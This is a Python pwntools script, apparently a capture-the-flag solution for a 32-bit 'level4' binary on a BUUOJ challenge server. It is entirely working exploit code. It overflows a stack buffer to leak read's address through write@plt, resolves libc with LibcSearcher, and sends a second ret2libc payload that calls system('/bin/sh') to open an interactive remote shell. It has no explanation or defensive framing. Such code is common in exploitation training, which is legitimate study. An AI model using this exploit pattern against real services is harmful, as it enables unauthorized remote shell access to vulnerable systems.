```
from pwn import *
from LibcSearcher import *

context(log_level='debug')
#io = process('./level4')
io = remote('node4.buuoj.cn',25104)
elf = ELF('level4')

write_plt = elf.plt['write']
read_got = elf.got['read']
main = 0x8048470

payload = 'a'*140 + p32(write_plt) +p32(main)+ p32(1) + p32(read_got)+p32(4)
io.send(payload)
read_addr = u32(io.recv(4))
print(hex(read_addr))

libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
sys = libc_base + libc.dump('system')
string = libc_base + libc.dump('str_bin_sh')
payload = 'a'*140 + p32(sys)+p32(main)+p32(string)
io.send(payload)

io.interactive()
```